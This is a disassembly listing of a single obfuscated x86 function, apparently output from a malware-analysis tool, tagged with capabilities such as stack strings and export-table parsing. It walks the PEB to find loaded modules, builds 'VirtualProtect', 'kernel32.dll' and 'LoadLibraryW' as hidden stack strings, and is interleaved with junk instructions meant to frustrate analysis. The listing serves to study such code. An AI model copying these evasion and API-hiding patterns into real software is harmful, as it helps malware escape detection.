Function at 0x50e89f
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x50e284
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x50e0e8
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x50e19a
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x50e19a
push edi
push ebx
add esp, 4
add edi, 0xd6b6
add edi, 0x16bbc
pop edi
push eax
jmp 0x50e12e
add eax, 0x380d
or eax, 0xa9d4
pop eax
push ebx
push edx
add esp, 4
or ebx, 0xce36
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x50e18c
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x50e193
jmp 0x50e0d9
jmp 0x50e19a
push ecx
jmp 0x50e1a2
and ecx, 0x9a2e
pop ecx
push eax
and eax, 0xf670
xor eax, 0xe542
and eax, 0x5cb9
call 0x50e1c8
add byte [eax + 0x46], al
inc edx
inc ebx
aaa
dec ebp
add esp, 4
pop eax
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x50e1f9
mov dword [ebp - 0xc40], 0
jmp 0x50e268
push edi
add edi, 0x126a6
and edi, 0x682e
call 0x50e213
add byte [edi], bh
dec ecx
cmp edi, dword [0x83354546]
les eax, [edi + ebx*2]
push esi
push ecx
add esp, 4
xor esi, 0xe8ab
pop esi
push ecx
and ecx, 0x1575a
pop ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
enter 0x3b20, 0xffffffffffffffc8
enter 0x3b20, 0xffffffffffffffc8
jge 0x50e25e
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x50e268
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x50e27f
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x50e290
jmp 0x50e069
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edx
sub edx, 0x1408d
or edx, 0xab8f
or edx, 0xa0ff
pop edx
push edx
push edx
add esp, 4
or edx, 0x121da
or edx, 0x13119
or edx, 0x17c06
add edx, 0xa35c
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
push ecx
add esp, 4
add eax, 0x6405
add eax, 0x13d41
pop eax
push esi
push ecx
add esp, 4
and esi, 0x165e
and esi, 0xb380
jmp 0x50e308
xor esi, 0x92c8
pop esi
cmp dword [ebp - 0x3cc], 0
je 0x50e321
cmp dword [ebp - 0xa5c], 0
jne 0x50e367
push edx
or edx, 0xb061
pop edx
push ecx
call 0x50e336
add byte [edi + ecx*2 + 0x3c], al
dec esp
cmp dword [edx - 0x7d], eax
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [edi + 0x4f], cl
dec edx
inc ecx
aas
cmp dword [esi + 0x36], eax
dec esi
cmp byte [ebx - 0xe7efb3c], al
mov fs, word [edx]
add byte [ecx - 0x75], bl
xchg ebp, eax
enter 0xfffffffffffffff8, 0xffffffffffffffff
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edi
sub edi, 0x48d5
jmp 0x50e381
sub edi, 0x20b6
pop edi
push ebx
add ebx, 0xa2e
jmp 0x50e394
pop ebx
push ebx
sub ebx, 0xa81e
or ebx, 0x5d04
pop ebx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
push ebx
add esp, 4
and esi, 0xadd3
or esi, 0xf1c1
xor esi, 0x14b94
add esi, 0xcc57
pop esi
push eax
push edi
add esp, 4
add eax, 0x76f0
pop eax
push edi
and edi, 0xfab5
pop edi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ebx
push eax
add esp, 4
or ebx, 0xef75
and ebx, 0x107f6
add ebx, 0x15b83
and ebx, 0xe848
pop ebx
push edx
xor edx, 0x1542
pop edx
push edi
push ecx
add esp, 4
and edi, 0xd029
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ecx
push ebx
add esp, 4
or ecx, 0x16be5
pop ecx
push ebx
push ebx
add esp, 4
sub ebx, 0x5809
pop ebx
push eax
sub eax, 0x12fa
pop eax
push edx
push ebx
add esp, 4
and edx, 0x1604f
add edx, 0x7ff3
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x50e50c
mov dword [ebp - 0x2a8], 0
jmp 0x50e7b3
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
push ebx
add esp, 4
or eax, 0x13209
call 0x50e538
add byte [ecx], bh
dec edi
aas
inc esp
dec esi
cmp byte [esi + 0x3b], cl
aas
add esp, 4
pop eax
push ebx
sub ebx, 0x1cd
pop ebx
push edi
push edx
add esp, 4
or edi, 0x18580
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x50e568
mov dword [ebp - 0x2a8], 0
jmp 0x50e7b3
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edi
sub edi, 0x1578f
and edi, 0x18167
sub edi, 0x17602
add edi, 0x127f1
pop edi
push ecx
push eax
add esp, 4
jmp 0x50e599
pop ecx
push esi
push edx
add esp, 4
or esi, 0x8429
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
jmp 0x50e5da
pop edx
push esi
push esi
add esp, 4
xor esi, 0x69a5
xor esi, 0xe136
pop esi
push ecx
push edi
add esp, 4
jmp 0x50e5fb
or ecx, 0x15508
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
push esi
add esp, 4
add eax, 0xe846
xor eax, 0x7b19
call 0x50e679
add byte [0x374f4e32], dh
dec ecx
dec ebp
xor eax, 0x4c4833e
pop eax
push edi
and edi, 0x14abd
jmp 0x50e68a
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x50e6a8
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x50e702
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x50e5d0
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x50e5d0
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x50e6ec
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x50e6f6
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x50e74b
push ebx
and ebx, 0x100cb
jmp 0x50e719
sub ebx, 0x14e84
pop ebx
push ecx
push eax
add esp, 4
add ecx, 0xa959
or ecx, 0x4828
or ecx, 0x1220c
jmp 0x50e73c
pop ecx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x50e7b3
push edi
push ecx
add esp, 4
xor edi, 0x5fd3
sub edi, 0x68df
or edi, 0xbb9e
pop edi
push edx
sub edx, 0x8ce9
add edx, 0x7b6b
pop edx
push esi
push ebx
add esp, 4
sub esi, 0x14668
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x50e7a9
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x50e574
mov dword [ebp - 0x2a8], 0
push ebx
push edi
add esp, 4
jmp 0x50e7be
pop ebx
push edx
add edx, 0x5f2d
add edx, 0x13b8
and edx, 0x2d45
and edx, 0x838f
pop edx
push edi
push eax
add esp, 4
or edi, 0xc7e5
pop edi
cmp dword [ebp - 0x2a8], 0
jne 0x50f0ea
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ebx
push eax
add esp, 4
call 0x50e89f
add byte [ecx + 0x32], cl
cmp eax, 0x4f33483f
aas
inc edx
add esp, 4
pop ebx
push eax
xor eax, 0x17715
xor eax, 0x1324a
or eax, 0x18134
sub eax, 0x5e76
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ebx
sub ebx, 0xc0fc
sub ebx, 0x8c62
pop ebx
push edx
push ebx
add esp, 4
jmp 0x50e95b
xor edx, 0x1015b
call 0x50e96e
add byte [edx], bh
xor eax, dword [edx + 0x4d]
xor cl, byte [ebx + 0x47]
add esp, 4
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x50e98a
mov dword [ebp - 0x710], 0
jmp 0x50ec31
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
add ecx, 0x941
pop ecx
push ecx
push ecx
add esp, 4
jmp 0x50e9b1
pop ecx
push ecx
xor ecx, 0x15096
xor ecx, 0x38c3
and ecx, 0x66
pop ecx
push ebx
or ebx, 0x30c4
pop ebx
cmp dword [ebp - 0xc58], 0
jne 0x50e9e6
mov dword [ebp - 0x710], 0
jmp 0x50ec31
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
and esi, 0x1181b
sub esi, 0x808c
add esi, 0x179b0
add esi, 0xe8ac
pop esi
push ecx
push ebx
add esp, 4
or ecx, 0xee95
or ecx, 0xa59a
and ecx, 0x428e
pop ecx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
push edi
add esp, 4
or ecx, 0x47da
or ecx, 0x2f69
call 0x50ea6e
add byte [0x4746334a], dh
cmp eax, 0x83323647
les eax, [ecx + ebx*2]
push esi
and esi, 0x1651d
xor esi, 0x1973
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
sub edx, 0xbdbf
or edx, 0x1658a
or edx, 0xef64
pop edx
push edx
call 0x50eaf9
add byte [edx + 0x4a], cl
inc esp
dec esp
dec edx
cmp cl, byte [ebp - 0x7d]
les eax, [ecx + eax*4]
loop 0x50eaeb
mov dword [eax], 0x95f28100
push ebx
add byte [eax], al
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x50eb26
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x50eb80
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x50ea4e
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x50ea4e
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x50eb6a
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x50eb74
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x50ebc9
push ebx
or ebx, 0x1487
and ebx, 0x15c3b
add ebx, 0x166c1
call 0x50eba8
add byte [esi], dh
inc ebp
push eax
dec ecx
cmp al, byte [esi - 0x7d]
les eax, [ebx + ebx*2]
push esi
sub esi, 0x14231
jmp 0x50ebba
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x50ec31
push eax
xor eax, 0xc11
or eax, 0x12bc1
call 0x50ebe3
add byte [ebx], dh
dec edx
dec edx
inc esi
dec esi
dec eax
dec edi
add esp, 4
or eax, 0xbf25
pop eax
push ecx
and ecx, 0x16b3e
and ecx, 0xf214
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x50ec27
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x50e9f2
mov dword [ebp - 0x710], 0
push eax
push edi
add esp, 4
add eax, 0x10c33
or eax, 0x11251
jmp 0x50ec4b
pop eax
push ebx
push edi
add esp, 4
jmp 0x50ec56
or ebx, 0x116f4
or ebx, 0x17e04
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x50ecad
push ecx
add ecx, 0x3105
pop ecx
push ecx
sub ecx, 0x652d
sub ecx, 0xd5a9
sub ecx, 0x2aa5
pop ecx
push esi
jmp 0x50ec8e
call 0x50ec9a
add byte [edx + 0x43], al
dec edi
inc ebx
cmp dword [edi], esi
add esp, 4
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x50f7d5
push edi
xor edi, 0xd59b
xor edi, 0xa8c1
and edi, 0x2700
pop edi
push edx
push eax
add esp, 4
xor edx, 0xd156
or edx, 0x2888
and edx, 0x3ea7
xor edx, 0x133cb
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x50ed1e
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50f00f
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x50ed46
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50f00f
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x50ed78
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x50f00f
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x50ed9d
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x50f00f
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x50edf7
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x50f003
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x50ee67
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x50ef19
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x50ef19
push eax
or eax, 0xefa0
sub eax, 0x127ab
or eax, 0xa1b4
pop eax
push edi
push ecx
add esp, 4
add edi, 0x1218
add edi, 0x94cc
add edi, 0x2226
or edi, 0x10b5e
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x50ef0b
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x50ef12
jmp 0x50ee58
jmp 0x50ef19
push edi
xor edi, 0x17d64
or edi, 0x117b4
pop edi
push esi
push ebx
add esp, 4
sub esi, 0xbdd4
or esi, 0x1ec8
pop esi
push edi
push esi
add esp, 4
sub edi, 0xfc80
xor edi, 0x4987
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x50ef78
mov dword [ebp - 0xc5c], 0
jmp 0x50efe7
push edx
xor edx, 0x18035
xor edx, 0x5ff1
sub edx, 0x2c49
pop edx
push edi
push edi
add esp, 4
or edi, 0x228a
and edi, 0x1a7b
xor edi, 0xd857
add edi, 0x11518
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x50efdd
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x50efe7
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x50effe
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x50f00f
jmp 0x50ede8
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x50f0ea
push ebx
sub ebx, 0x13638
pop ebx
push edx
push ecx
add esp, 4
add edx, 0x1421f
call 0x50f03d
add byte [ebp + 0x47], cl
dec eax
dec edi
push eax
aaa
cmp byte [ebp - 0x7d], cl
les eax, [ebx + ebp*8]
add eax, 0x4745324e
aas
add edx, 0xbc1
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ebx
push edi
add esp, 4
and ebx, 0x128f0
xor ebx, 0xb837
add ebx, 0x4f32
or ebx, 0xf53e
pop ebx
push eax
or eax, 0xfc6f
or eax, 0x8aef
jmp 0x50f08b
pop eax
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x50f0ea
push ecx
push ecx
add esp, 4
call 0x50f0bc
add byte [edi], dh
inc eax
cmp al, 0x3f
inc esp
inc esi
aaa
add esp, 4
and ecx, 0x100e9
jmp 0x50f0ce
pop ecx
push esi
push ebx
add esp, 4
or esi, 0x9acc
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x50f7d5
push ebx
push eax
add esp, 4
call 0x50f0fb
add byte [ecx + 0x3e], cl
inc edi
inc edi
push eax
xor eax, dword [ebx - 0xc7efb3c]
sbb ah, bl
add byte [eax], al
jmp 0x50f109
pop ebx
push esi
push ecx
add esp, 4
xor esi, 0x12d0c
add esi, 0x3815
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push esi
push esi
add esp, 4
add esi, 0x8fb8
add esi, 0x1310f
add esi, 0xef76
pop esi
push ebx
call 0x50f16c
add byte [edi + 0x50], cl
inc esp
inc ebp
cmp dword [esi + edi + 0x3e], eax
add esp, 4
and ebx, 0x14438
pop ebx
cmp dword [ebp - 0x1574], 0
jne 0x50f18e
mov dword [ebp - 0x2a8], 0
jmp 0x50f435
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edi
sub edi, 0x15b8
jmp 0x50f1b0
pop edi
push ebx
xor ebx, 0xc35c
jmp 0x50f1bf
add ebx, 0x52c5
pop ebx
push ecx
push ecx
add esp, 4
jmp 0x50f1d1
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x50f1ea
mov dword [ebp - 0x2a8], 0
jmp 0x50f435
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edx
add edx, 0x16e58
xor edx, 0x16f11
xor edx, 0xd4f6
pop edx
push eax
push edx
add esp, 4
and eax, 0x14aee
and eax, 0xf188
add eax, 0xbacf
xor eax, 0xae0a
pop eax
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
push eax
add esp, 4
and esi, 0x14ca4
pop esi
push edi
push ecx
add esp, 4
jmp 0x50f26c
call 0x50f27a
add byte [edi], dh
inc edi
cmp byte [0x41423544], dh
add esp, 4
xor edi, 0x10159
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
push esi
add esp, 4
and ebx, 0x145c7
pop ebx
push edx
push ebx
add esp, 4
add edx, 0x80ef
jmp 0x50f2f8
pop edx
push edi
call 0x50f309
add byte [edx], bh
aaa
cmp byte [0x4e35374c], bh
inc edi
add esp, 4
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x50f32a
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x50f384
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x50f252
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x50f252
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x50f36e
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x50f378
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x50f3cd
push edi
push ebx
add esp, 4
add edi, 0x11478
pop edi
push edx
or edx, 0xfc50
and edx, 0x72f0
pop edx
push esi
push esi
add esp, 4
sub esi, 0x3751
or esi, 0x6bc5
add esi, 0x2aa7
pop esi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x50f435
push ecx
push ebx
add esp, 4
jmp 0x50f3da
pop ecx
push ebx
push ebx
add esp, 4
sub ebx, 0x13250
pop ebx
push ecx
push ebx
add esp, 4
and ecx, 0xdf68
and ecx, 0x45aa
sub ecx, 0x8bc9
pop ecx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x50f42b
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x50f1f6
mov dword [ebp - 0x2a8], 0
push ecx
sub ecx, 0x10fff
sub ecx, 0xc187
call 0x50f451
add byte [0x40484845], bh
cmp byte [edi + 0x4c4834c], dh
pop ecx
push edx
push eax
add esp, 4
sub edx, 0xbada
and edx, 0x1439
pop edx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push eax
push ecx
add esp, 4
call 0x50f489
add byte [ebx], bh
inc eax
cmp eax, dword [edx + 0x47]
inc ebx
dec edi
add esp, 4
sub eax, 0xaabb
and eax, 0xa29b
call 0x50f4a4
add byte [eax + 0x33], dl
inc ebx
dec ebx
dec ecx
dec edi
add esp, 4
pop eax
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x50f4d8
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x50f7c9
mov edx, dword [ebp - 0x1580]
